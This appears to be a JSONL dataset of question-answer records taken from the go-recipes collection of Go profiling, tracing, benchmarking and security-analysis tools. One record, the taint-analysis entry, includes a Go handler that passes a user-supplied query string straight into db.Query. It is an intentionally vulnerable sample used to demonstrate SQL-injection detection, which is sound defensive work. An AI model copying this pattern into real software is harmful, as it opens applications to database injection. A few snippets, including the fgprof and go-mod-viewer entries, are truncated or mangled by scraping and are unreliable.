{"id": "gh_03b6f4d0f823", "question": "How to: [⏫](#contents) Generate benchmark CPU and Memory profiles with `go test`", "question_body": "About nikolaydubina/go-recipes", "answer": "This is useful for identifying most time or memory consuming parts. Recommended to run for single benchmark at a time and with `-count` or `-benchtime` for better accuracy.\n\n```\ngo test -bench=\n-cpuprofile cpu.out -memprofile mem.out ./...\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953395"}
{"id": "gh_8d0f452c7202", "question": "How to: [⏫](#contents) Visualize callgraph of profiles with `pprof`", "question_body": "About nikolaydubina/go-recipes", "answer": "Once you generate profiles, visualize them with `pprof`. Both memory and CPU profiles are supported. Many options are available. Refer to the link you get in SVG to how to interpret this graph. More official documentation [blog](https://go.dev/blog/pprof), [pkg-doc](https://pkg.go.dev/net/http/pprof). — official Go team\n\n```\ngo tool pprof -svg cpu.out > cpu.svg\ngo tool pprof -svg mem.out > mem.svg\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953401"}
{"id": "gh_0909a5bde5e9", "question": "How to: [⏫](#contents) Visualize flamegraphs of profiles with `pprof`", "question_body": "About nikolaydubina/go-recipes", "answer": "Latest versions of `pprof` can also render [Flamegraphs](https://www.brendangregg.com/flamegraphs.html) for profiles. Make sure you set `-http` to start webserver. Then it is available in \"View > Graph\" in at http://0.0.0.0:80. — Google\n\n```\npprof -http=0.0.0.0:80 cpu.out\n```\nRequirements\n```\ngo install github.com/google/pprof@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953406"}
{"id": "gh_f5dc85b019e9", "question": "How to: [⏫](#contents) Visualize profiles online", "question_body": "About nikolaydubina/go-recipes", "answer": "You can also visualize profiles with online tools are aloso available https://www.speedscope.app (cpu).", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953411"}
{"id": "gh_fd2e30b503a9", "question": "How to: [⏫](#contents) :gift: Profile and visualizse (with video) Go profiles through eBPF with [go-profile](https://github.com/benbaker76/go-profile)", "question_body": "About nikolaydubina/go-recipes", "answer": "You can generate profiles throubh eBPF for Go programs. There is a frame export mode that you can use to generate videos. — [@benbaker76](https://github.com/benbaker76)\n\n```\nBPF_CFLAGS='-D__TARGET_ARCH_x86' go generate ./cmd/profile/\ngo run ./cmd/profile -p 2197 100\nffmpeg -framerate 30 -i ./frames/flamegraph%04d.png flamegraph.mp4\n```\n\nExample\n```\nWaiting for stack traces for 1m40s...\n\n    [U] 7f4d99a0112d [unknown]\n    [U] 7f4d99a0021d __isoc99_fscanf\n    -                htop (2197)\n        1\n    [K] ffffffff853bd36e do_task_stat\n    [K] ffffffff853bd36e do_task_stat\n    [K] ffffffff853b70ed proc_single_show\n    [K] ffffffff853574a0 seq_read_iter\n    [K] ffffffff8535792a seq_read\n    [K] ffffffff85326855 vfs_read\n    [K] ffffffff85326c2f ksys_read\n    [K] ffffffff85f22e55 do_syscall_64\n    [K] ffffffff86000124 entry_SYSCALL_64_after_hwframe\n    [U] 7f4d99ab27e2 read\n    [U] 00000040 [unknown]\n```\nRequirements\n```\nfollow instructions how to get required headers\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953420"}
{"id": "gh_4cac9bdf67cb", "question": "How to: [⏫](#contents) Get delta between two benchmarks with [benchstat](https://golang.org/x/perf/cmd/benchstat)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is standard way to compare two benchmark outputs. Names of benchmarks should be the same. Generate benchmarks as per usual. You would get multiple tables per dimension. If no output, then pass `-split=\"XYZ\"`. If you do not see `delta`, then pass `-count=2` or more in benchmark generation. It is recommended to have alternative implementations in different packages, to keep benchmark names the same. — official Go team\n\n```\nbenchstat -split=\"XYZ\" old.txt new.txt\n```\n\nExample\n```\nname                    old time/op    new time/op    delta\nJSONUnmarshal/small-10     502ns ± 0%     331ns ± 0%   -33.99%  (p=0.008 n=5+5)\nJSONUnmarshal/large-10     572ns ± 0%     414ns ± 0%   -27.64%  (p=0.008 n=5+5)\nJSONMarshal/small-10       189ns ± 0%     273ns ± 0%   +44.20%  (p=0.008 n=5+5)\nJSONMarshal/large-10       176ns ± 0%     340ns ± 0%   +93.29%  (p=0.008 n=5+5)\n\nname                    old alloc/op   new alloc/op   delta\nJSONUnmarshal/small-10      271B ± 0%      198B ± 0%   -26.94%  (p=0.008 n=5+5)\nJSONUnmarshal/large-10      312B ± 0%      216B ± 0%   -30.77%  (p=0.008 n=5+5)\nJSONMarshal/small-10       66.0B ± 0%    144.0B ± 0%  +118.18%  (p=0.008 n=5+5)\nJSONMarshal/large-10       72.0B ± 0%    192.0B ± 0%  +166.67%  (p=0.008 n=5+5)\n\nname                    old allocs/op  new allocs/op  delta\nJSONUnmarshal/small-10      6.00 ± 0%      3.00 ± 0%   -50.00%  (p=0.008 n=5+5)\nJSONUnmarshal/large-10      7.00 ± 0%      3.00 ± 0%   -57.14%  (p=0.008 n=5+5)\nJSONMarshal/small-10        2.00 ± 0%      4.00 ± 0%  +100.00%  (p=0.008 n=5+5)\nJSONMarshal/large-10        2.00 ± 0%      5.00 ± 0%  +150.00%  (p=0.008 n=5+5)\n```\n\nRequirements\n```\ngo install golang.org/x/perf/cmd/benchstat@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953429"}
{"id": "gh_6370f81b76b1", "question": "How to: [⏫](#contents) Benchmark against git commit with [pat/ba](https://github.com/maruel/pat)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool runs benchmarks and shows delta between git commits. It can also be useful in GitHub Actions. — [@maruel](https://github.com/maruel)\n\nExample\n```\n$ ba -against HEAD~1\nwarming up\ngo test -bench . -benchtime 100ms -count 1 -run ^$ -cpu 1 ./...\ngit checkout HEAD~1\ngo test -bench . -benchtime 100ms -count 1 -run ^$ -cpu 1 ./...\ngit checkout 02152d698f7d548c\n02152d698f7d548c...HEAD~1 (1 commits), 100ms x 2 times/batch, batch repeated 3 times.\ngo test -bench . -benchtime 100ms -count 2 -run ^$ -cpu 1 ./...\ngit checkout HEAD~1\ngo test -bench . -benchtime 100ms -count 2 -run ^$ -cpu 1 ./...\ngit checkout 02152d698f7d548c\ngo test -bench . -benchtime 100ms -count 2 -run ^$ -cpu 1 ./...\ngit checkout HEAD~1\ngo test -bench . -benchtime 100ms -count 2 -run ^$ -cpu 1 ./...\ngit checkout 02152d698f7d548c\ngo test -bench . -benchtime 100ms -count 2 -run ^$ -cpu 1 ./...\ngit checkout HEAD~1\ngo test -bench . -benchtime 100ms -count 2 -run ^$ -cpu 1 ./...\ngit checkout 02152d698f7d548c\nname                  old time/op    new time/op    delta\nHashCommand             69.0ns ± 2%    67.7ns ± 2%  -1.91%  (p=0.041 n=6+6)\nCLParser                 281µs ± 1%     281µs ± 1%    ~     (p=0.699 n=6+6)\nLoadManifest             437ms ± 7%     430ms ± 3%    ~     (p=0.937 n=6+6)\nCanonicalizePathBits    85.9ns ± 1%    86.2ns ± 0%    ~     (p=1.000 n=6+6)\nCanonicalizePath        83.9ns ± 1%    84.6ns ± 0%    ~     (p=0.058 n=6+6)\n\nname                  old alloc/op   new alloc/op   delta\nHashCommand              0.00B          0.00B         ~     (all equal)\nCLParser                 164kB ± 0%     164kB ± 0%    ~     (all equal)\nLoadManifest             298MB ± 0%     295MB ± 0%  -0.78%  (p=0.002 n=6+6)\nCanonicalizePathBits     80.0B ± 0%     80.0B ± 0%    ~     (all equal)\nCanonicalizePath         80.0B ± 0%     80.0B ± 0%    ~     (all equal)\n\nname                  old allocs/op  new allocs/op  delta\nHashCommand               0.00           0.00         ~     (all equal)\nCLParser                 1.64k ± 0%     1.64k ± 0%    ~     (all equal)\nLoadManifest             2.61M ± 0%     2.57M ± 0%  -1.71%  (p=0.002 n=6+6)\nCanonicalizePathBits      1.00 ± 0%      1.00 ± 0%    ~     (all equal)\nCanonicalizePath          1.00 ± 0%      1.00 ± 0%    ~     (all equal)\n```\n\nRequirements\n```\ngo install github.com/maruel/pat/cmd/...@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953448"}
{"id": "gh_a84c49fd4a6c", "question": "How to: [⏫](#contents) Continuous benchmarking", "question_body": "About nikolaydubina/go-recipes", "answer": "Track how benchmarks change in codebase over time. This is accomplished by running benchmarks for git commits, storing results, and visualizing difference. Running benchmarks can be in GitHub Actions or locally, storage can be in same repository `master` or dedicated branch, or standalone servers. It should be straightforward to setup this manually. Example of GitHub Action [spec](https://github.com/swaggest/rest/blob/master/.github/workflows/bench.yml) and [blog](https://dev.to/vearutop/continuous-benchmarking-with-go-and-github-actions-41ok) from [@vearutop](https://github.com/vearutop), and an example on how it produces a PR [comment](https://github.com/swaggest/rest/pull/88#issuecomment-1271540878).", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953454"}
{"id": "gh_64f870423a3d", "question": "How to: [⏫](#contents) Continuous benchmarking with [gobenchdata](https://github.com/bobheadxi/gobenchdata)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool uses `go test -bench` data in GitHub. It runs benchmarks, and uploads it as GitHub Pages for visualization. It is available as GitHub Action [gobenchdata](https://github.com/marketplace/actions/continuous-benchmarking-for-go). This is useful to see benchmark trends. — [@bobheadxi](https://github.com/bobheadxi)\nRequirements\n```\ngo install go.bobheadxi.dev/gobenchdata@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953460"}
{"id": "gh_da680214829b", "question": "How to: [⏫](#contents) Continuous benchmarking with [benchdiff](https://github.com/willabides/benchdiff)", "question_body": "About nikolaydubina/go-recipes", "answer": "Automates comparing benchmarks with `benchstat` of two git references. It is available as GitHub Action [benchdiff](https://github.com/marketplace/actions/benchdiff) which runs `benchstat` of HEAD vs base branch. This is useful to see how benchmarks change with PRs in CI. — [@WillAbides](https://github.com/WillAbides)\nRequirements\n```\ngo install github.com/willabides/benchdiff/cmd/benchdiff\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953466"}
{"id": "gh_bd19ae097554", "question": "How to: [⏫](#contents) Continuous benchmarking with [cob](https://github.com/knqyf263/cob)", "question_body": "About nikolaydubina/go-recipes", "answer": "Automate comparing benchmarks with `benchstat` between `HEAD` and `HEAD^1`. It can be used to block CI pipelines if benchmarks deteriorate. It reports output as text in CLI. This cane be useful in CI or in local development. — [@knqyf263](https://github.com/knqyf263)\nRequirements\n```\ngo install github.com/knqyf263/cob@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953471"}
{"id": "gh_c26f99a17c88", "question": "How to: [⏫](#contents) Generate live traces with `net/http/trace`", "question_body": "About nikolaydubina/go-recipes", "answer": "This will add endpoints to your your server. If you don't have server running already in your process, you can start one. Then you can point `pprof` tool to this data. For production, hide this endpoint in separate port and path. More details in documentation [trace](https://pkg.go.dev/cmd/trace), [net/http/pprof](https://pkg.go.dev/net/http/pprof).\n\n```\npackage main\n\nimport (\n  \"log\"\n  \"net/http\"\n  \"net/http/pprof\"\n)\n\nfunc main() {\n  mux := http.NewServeMux()\n  mux.HandleFunc(\"/custom_debug_path/profile\", pprof.Profile)\n  log.Fatal(http.ListenAndServe(\":7777\", mux))\n}\n```\n\nExample\n```\ngo tool pprof http://localhost:6060/debug/pprof/heap\ngo tool pprof http://localhost:6060/debug/pprof/profile?seconds=30\ncurl -o trace.out http://localhost:6060/debug/pprof/trace?seconds=5\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953478"}
{"id": "gh_39e419667fe8", "question": "How to: [⏫](#contents) Generate traces with `go test`", "question_body": "About nikolaydubina/go-recipes", "answer": "Produce a trace of execution of tests in package.\n\n```\ngo test -trace trace.out .\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953483"}
{"id": "gh_494ae6cc7f66", "question": "How to: [⏫](#contents) View traces with `go tool trace`", "question_body": "About nikolaydubina/go-recipes", "answer": "You can view traces interactively in browser with standard Go tooling. This web tool also shows network blocking profile, synchronization blocking profile, syscall blocking profile, scheduler latency profile.\n\n```\ngo tool trace trace.out\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953488"}
{"id": "gh_4ede57672329", "question": "How to: [⏫](#contents) View traces with [gotraceui](https://github.com/dominikh/gotraceui)", "question_body": "About nikolaydubina/go-recipes", "answer": "Gotraceui is a tool for visualizing and analyzing Go execution traces. It is meant to be a faster, more accessible, and more powerful alternative to go tool trace. Unlike go tool trace, Gotraceui doesn't use deprecated browser APIs (or a browser at all), and its UI is tuned specifically to the unique characteristics of Go traces. This tool also recommend by official Go team from Google in their [blog](https://go.dev/blog/execution-traces-2024). — [@dominikh](https://github.com/dominikh)\n\n```\ngo tool trace trace.out\n```\nRequirements\n```\nrefer to guideline for requirements for GUI\ngo install honnef.co/go/gotraceui/cmd/gotraceui@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953494"}
{"id": "gh_e81ea2c09955", "question": "How to: [⏫](#contents) View in-process traces with [trc](https://github.com/peterbourgon/trc)", "question_body": "About nikolaydubina/go-recipes", "answer": "This experimental approach illustrates collection of traces, intsrumentation, and visualization. It does not handle distributed traces. Likely useful for special cases or educational or research purposes. — [@peterbourgon](https://github.com/peterbourgon)\nRequirements\n```\ninstrument your code with `trc` package\nstart UI server at port within same process\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953500"}
{"id": "gh_5f80998bc73d", "question": "How to: [⏫](#contents) View wallclock traces with [fgtrace](https://github.com/felixge/fgtrace)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool can be more illustrative of Go traces than standard Go traces. — [@felixge](https://github.com/felixge)\n\n```go\npackage main\n\nimport (\n  \"net/http\"\n\n  \"github.com/felixge/fgtrace\"\n)\n\nfunc main() {\n  http.DefaultServeMux.Handle(\"/debug/fgtrace\", fgtrace.Config{})\n  http.ListenAndServe(\":1234\", nil)\n}\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953507"}
{"id": "gh_f612899bceec", "question": "How to: [⏫](#contents) Get on/off CPU profiles with [fgprof](https://github.com/felixge/fgprof)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool can be more illustrative of Go profiles than standard Go profiling. — [@felixge](https://github.com/felixge)\n\n```go\npackage main\n\nimport (\n  \"log\"\n  \"net/http\"\n  _ \"net/http/pprof\"\n\n  \"github.com/felixge/fgprof\"\n)\n\nfunc main() {\n  http.DefaultServeMux.Handle(\"/debug/fgprof\", fgprof.Handler())\n  go func() {\n    log.Println(http.ListenAndServe(\":6060\", nil))\n  }()\n\n  //\n```\n}\n```\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953514"}
{"id": "gh_b9c20731eee0", "question": "How to: [⏫](#contents) Make alternative documentation with [golds](https://github.com/go101/golds)", "question_body": "About nikolaydubina/go-recipes", "answer": "It has additional information like implementations of interface; promoted methods. The tool has nice minimalistic aesthetics. — [Tapir Liu](https://www.tapirgames.com)\n\n```\ngolds ./...\n```\nRequirements\n```\ngo install go101.org/golds@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953519"}
{"id": "gh_05b4c69fb507", "question": "How to: [⏫](#contents) Read Go binary documentation in `man` format with [goman](https://github.com/appliedgocode/goman)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool fetches the repo's readme as a man page replacement. — [@christophberger](https://github.com/christophberger)\n\n```\ngoman\n```\nRequirements\n```\ngo install github.com/appliedgocode/goman@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953525"}
{"id": "gh_cdb6034685fc", "question": "How to: [⏫](#contents) Generate badge with [gobadge](https://github.com/AlexBeauchemin/gobadge)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool will generate instructions for [shields.io](https://shields.io) to generate badge. It can read `coverprofile`. There is also GitHub Action that utilizes it and stores badge in the same repo, [coverage-badge-go](https://github.com/tj-actions/coverage-badge-go). — [@AlexBeauchemin](https://github.com/AlexBeauchemin)\n\n```\ngobadge -filename=coverage.out\ngobadge -label=\"Go Coverage\" -value=55.6% -color=blue -target=OTHER_README.md\ngobadge -yellow=60 -green=80\ngobadge -color=ff69b4\ngobadge -link=https://github.com/project/repo/actions/workflows/test.yml\n```\nRequirements\n```\ngo install github.com/AlexBeauchemin/gobadge@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953531"}
{"id": "gh_b29b69414512", "question": "How to: [⏫](#contents) Generate README.md based on GoDoc comments with [goreadme](https://github.com/posener/goreadme)", "question_body": "About nikolaydubina/go-recipes", "answer": "It can be used as a command line tool, as Github action, or as a pre-commit hook. — [@posener](https://github.com/posener)\n\n```\ngoreadme\ngoreadme -variables -functions -methods -badge-godoc\ngoreadme -badge-godoc -constants -functions -methods -recursive -types -variables > README.md\n```\n\nRequirements\n```\ngo install github.com/posener/goreadme/cmd/goreadme@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953538"}
{"id": "gh_919066379d92", "question": "How to: [⏫](#contents) :gift: display contents of a module with [go-mod-viewer](https://go-mod-viewer.appspot.com/https://go-mod-viewer.appspot.com/)", "question_body": "About nikolaydubina/go-recipes", "answer": "Go mod viewer displays text files from Go modules stored in the Go module proxy. The URL schema is https://go-mod-viewer.appspot.com/\n@\n/\n. — [@rsc](https://github.com/rsc)\n\n```\nhttps://go-mod-viewer/rsc.io/quote@v1.5.2/README.md#L1\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953543"}
{"id": "gh_2f3646a45782", "question": "How to: [⏫](#contents) Run Turtle Graphics online with [goplay.space](https://goplay.space/#wT_eZWJT69)", "question_body": "About nikolaydubina/go-recipes", "answer": "This absolutely adorable visualization is an excellent online resource to learn programming. — [@iafan](https://github.com/iafan)\n\n```go\npackage main\n\nimport (\n  \"fmt\"\n)\n\nfunc main() {\n  fmt.Println(`\n    draw mode\n    \n    say Let's start...\n    right 18\n    color red\n\n    forward 7\n    say One...\n    right 144\n\n    forward 7\n    say Two...\n    right 144\n\n    forward 7\n    say Three...\n    right 144\n\n    forward 7\n    say Four...\n    right 144\n\n    forward 7\n    say We've got a star!\n    right 144\n  `)\n}\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953551"}
{"id": "gh_a6f5daae90bf", "question": "How to: Style Guide", "question_body": "About nikolaydubina/go-recipes", "answer": "- [Google](https://google.github.io/styleguide/go)\n\n- [Uber](https://github.com/uber-go/guide)\n\n- [Go Code Review Comments](https://go.dev/wiki/CodeReviewComments)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953556"}
{"id": "gh_cb900a6da7ef", "question": "How to: [⏫](#contents) Run official vulnerability check with [govulncheck](https://pkg.go.dev/golang.org/x/vuln/cmd/govulncheck)", "question_body": "About nikolaydubina/go-recipes", "answer": "It uses static analysis of source code or a binary's symbol table to narrow down reports to only those that could affect the application. By default, govulncheck makes requests to the Go vulnerability database at https://vuln.go.dev. Requests to the vulnerability database contain only module paths, not code or other properties of your program. See https://vuln.go.dev/privacy.html for more. — Go Core team\n\n```\ngovulncheck ./...\n```\n\nExample\n```\nvulnerability data from https://vuln.go.dev (last modified 2023-06-01 21:27:40 +0000 UTC).\n\nScanning your code and 1952 packages across 202 dependent modules for known vulnerabilities...\nYour code is affected by 2 vulnerabilities from 1 module.\n\nVulnerability #1: GO-2023-1571\n  A maliciously crafted HTTP/2 stream could cause excessive CPU\n  consumption in the HPACK decoder, sufficient to cause a denial\n  of service from a small number of small requests.\n\n  More info: https://pkg.go.dev/vuln/GO-2023-1571\n\n  Module: golang.org/x/net\n    Found in: golang.org/x/net@v0.1.1-0.20221027164007-c63010009c80\n    Fixed in: golang.org/x/net@v0.7.0\n\n    Call stacks in your code:\n      cmd/kube-controller-manager/app/controllermanager.go:216:40: k8s.io/kubernetes/cmd/kube-controller-manager/app.Run calls k8s.io/apiserver/pkg/server.SecureServingInfo.Serve, which eventually calls golang.org/x/net/http2.ConfigureServer\n        requirements:\n          - go install golang.org/x/vuln/cmd/govulncheck@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953564"}
{"id": "gh_68bd7e2043e5", "question": "How to: [⏫](#contents) Detect escalated privileges in dependencies with [capslock](https://github.com/google/capslock)", "question_body": "About nikolaydubina/go-recipes", "answer": "Capslock is a capability analysis CLI for Go packages that informs users of which privileged operations a given package can access. This works by classifying the capabilities of Go packages by following transitive calls to privileged standard library operations. The recent increase in supply chain attacks targeting open source software has highlighted that third party dependencies should not be inherently trusted. Capabilities indicate what permissions a package has access to, and can be used in conjunction with other security signals to indicate which code requires additional scrutiny before it can be considered trusted. — Google\n\n```\ncapslock -packages=./...\n```\n\nExample\n```\n...\nCAPABILITY_ARBITRARY_EXECUTION: 317 references\nCAPABILITY_EXEC: 317 references\nCAPABILITY_FILES: 318 references\nCAPABILITY_MODIFY_SYSTEM_STATE: 20 references\nCAPABILITY_NETWORK: 317 references\nCAPABILITY_OPERATING_SYSTEM: 124 references\nCAPABILITY_READ_SYSTEM_STATE: 317 references\nCAPABILITY_REFLECT: 348 references\nCAPABILITY_RUNTIME: 317 references\nCAPABILITY_SYSTEM_CALLS: 12 references\nCAPABILITY_UNANALYZED: 332 references\nCAPABILITY_UNSAFE_POINTER: 335 references\n```\n\nRequirements\n```\ngo install github.com/google/capslock/cmd/capslock@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953572"}
{"id": "gh_3bae00a4d0b1", "question": "How to: [⏫](#contents) Run static analysis with [gosec](https://github.com/securego/gosec)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool inspects source code for security problems by scanning the Go AST and SSA code representation. There are numerous rules it checks. — [@ccojocar](https://github.com/ccojocar)\n\n```\ngosec ./...\n```\n\nRequirements\n```\ngo install github.com/securego/gosec/v2/cmd/gosec@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953578"}
{"id": "gh_cf420f65e6a1", "question": "How to: [⏫](#contents) Perform Taint Analysis with [taint](https://github.com/picatz/taint)", "question_body": "About nikolaydubina/go-recipes", "answer": "Taint analysis is a technique for identifying the flow of sensitive data through a program. It can be used to identify potential security vulnerabilities, such as SQL injection or cross-site scripting (XSS) attacks, by understanding how this data is used and transformed as it flows through the code. This package provides tools to performs such analysis. Included tool is performing SQL injection taint analysis. — [@picatz](https://github.com/picatz)\n\n```\nsqli main.go\n```\n\n```go\npackage main\n\nimport (\n        \"database/sql\"\n        \"net/http\"\n)\n\nfunc business(db *sql.DB, q string) {\n        db.Query(q) // potential sql injection\n}\n\nfunc run() {\n        db, _ := sql.Open(\"sqlite3\", \":memory:\")\n\n        mux := http.NewServeMux()\n\n        mux.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n                business(db, r.URL.Query().Get(\"sql-query\"))\n        })\n\n        http.ListenAndServe(\":8080\", mux)\n}\n\nfunc main() {\n        run()\n}\n```\n\nExample\n```\n./sql/injection/testdata/src/example/main.go:9:10: potential sql injection\n```\n\nRequirements\n```\ngo install github.com/picatz/taint/cmd/sqli@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953586"}
{"id": "gh_869107f1e43a", "question": "How to: [⏫](#contents) Use Microsoft Go compiler with [microsoft/go](https://github.com/microsoft/go)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is modified version of Go that can be used to build FIPS 140-2 compliant applications. — [@microsoft](https://github.com/microsoft)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953591"}
{"id": "gh_d4d463a18ff8", "question": "How to: [⏫](#contents) Run default static analysis with `go vet`", "question_body": "About nikolaydubina/go-recipes", "answer": "Official tool for static analysis of Go programs, with 27+ static analyzers. — official Go team\n\n```\ngo vet ./...\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953596"}
